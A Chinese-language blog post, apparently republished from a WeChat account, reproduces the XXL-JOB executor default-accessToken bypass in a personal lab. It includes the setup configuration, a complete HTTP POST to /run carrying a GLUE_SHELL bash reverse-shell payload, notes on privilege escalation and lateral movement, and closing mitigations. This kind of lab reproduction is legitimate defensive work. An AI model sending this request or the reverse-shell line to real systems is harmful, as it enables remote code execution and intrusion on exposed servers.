微信公众号:PersistentCoder
📢 提示: 靶场来自个人云服务器,真实网络环境渗透测试请严格遵守《中国网络信息安全法》,请勿轻易用于他人线上网络环境安全测试,本人不承担任何法律责任。
从XXL-JOB v2.3.1版本开始,在application.properties为accessToken增加了默认值,但大多数系统没有采取对其修改。
该漏洞是由于XXL-JOB在默认配置下,用于调度通信的accessToken不是随机生成的,而是使用application.properties配置文件中的默认值,如果用户没有修改该默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,导致远程代码执行。
当然仅仅是没有修改默认accessToken并不能形成RCE的条件,远程访问需要host加port,默认是9999(或者自定义端口),所以如果存在默认accessToken加executor的执行端口对外开放,就形成了“洞”。
拉取项目代码,使用doc/db/tables_xxl_job.sql脚本创建表结构以及初始化数据。修改xxl-job-admin/src/main/resources/application.properties配置文件:
### xxl-job, datasource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai
spring.datasource.username=root
spring.datasource.password=root_pwd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
### xxl-job, access token
xxl.job.accessToken=default_token
这里为了复现默认accessToken漏洞,不做修改,使用默认的即可。
然后到xxl-job-admin模块下打包:
mvn -U clean package -Dmaven.test.skip
把jar包上传到服务器启动即可。
其实这个漏洞主要存在于xxl-job-executor中,控制台不部署都可以。
在业务项目中添加pom依赖:
<!-- xxl-job-core -->
<dependency>
<groupId>com.xuxueli</groupId>
<artifactId>xxl-job-core</artifactId>
<version>2.3.1</version>
</dependency>
然后添加xxl-job相关配置:
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin
### xxl-job, access token
xxl.job.accessToken=default_token
### xxl-job executor appname
xxl.job.executor.appname=xxl-job-executor-sample
### xxl-job executor registry-address: default use address to registry , otherwise use ip:port if address is null
xxl.job.executor.address=
### xxl-job executor server-info
xxl.job.executor.ip=
xxl.job.executor.port=9999
### xxl-job executor log-path
xxl.job.executor.logpath=/data/applogs/xxl-job/jobhandler
### xxl-job executor log-retention-days
xxl.job.executor.logretentiondays=30
这里的accessToken使用默认的不修改。然后启动服务并开启9999端口。
从xxl-job-core的EmbedServer看到如果通过了accessToken验证就会执行executor中对应的方法,比如通过/run恶意调用业务逻辑等。
为了简单方便,我们直接使用某师傅的工具扫描我们的executor。
打开工具很轻易扫描出来我们搭建的xxl-job-executor存在默认accessToken权限绕过漏洞。而xxl-job执行的任务类型相对较丰富,可以直接执行glueshell类型的任务,也就是可以直接通过控制台到业务机器执行shell,很多场景这是很危险的做法。
到模拟入侵的主机上使用nc命令启动服务监听某个端口:
使用前边的工具直接反弹shell到该主机:
如果executor这台机器能出网,那么这台机器就拿下了:
既然知道了原理,那么除了使用漏洞利用工具直接反弹shell,我们甚至可以直接用burpsuite或者postman等请求发送工具直接向xxl-job-executor发送请求来实现反弹,以burpsuite为例。
使用intruder和repeater都可以:
在请求内容填入如下内容:
POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 391
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/xxxx/2333 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
点击发送请求:
看到请求响应成功,然后到模拟攻击机器上看到getshell成功,并连上了机器。
shell反弹成功后,可以上去执行任何当前用户下的命令和操作,如果是root那就一步到位了,如果是非root那么可以利用工具和命令进行提权(比如setuid),挖掘机器上有价值的信息,以及做c段扫描和内网横向渗透,危害极高。
上边所述漏洞主要原因是:
既然知道了漏洞形成的原因,那么就很容易想到防护解决方案:
任务回调端口(默认9999),只对xxl-job-admin的机器开放,严格到内网通信。
使用脚本或者工具生成一个相对比较复杂的accessToken,禁用默认的default_token。
改的话要连xxl-job-admin一起改,不然只改了xxl-job-executor中的accessToken,别人是访问不了了,但是把自己也封死了,可谓杀敌八百自损一万。
如果服务器上程序和工具都安装完毕,某种程度上可以禁止访问公网或者限制只能访问某些公网资源。
非必须情况下,业务进程没什么必要执行bash或shell脚本,那么直接禁掉呗。
https://github.com/xuxueli/xxl-job
https://www.xuxueli.com/xxl-job/#%E3%80%8A%E5%88%86%E5%B8%83%E5%BC%8F%E4%BB%BB%E5%8A%A1%E8%B0%83%E5%BA%A6%E5%B9%B3%E5%8F%B0XXL-JOB%E3%80%8B
https://avd.aliyun.com/search?q=xxl-job
https://www.cnvd.org.cn/flaw/list?flag=true
https://szczecin.github.io/2023/09/03/XXL-JOB-Executor/
本文分享自 PersistentCoder 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!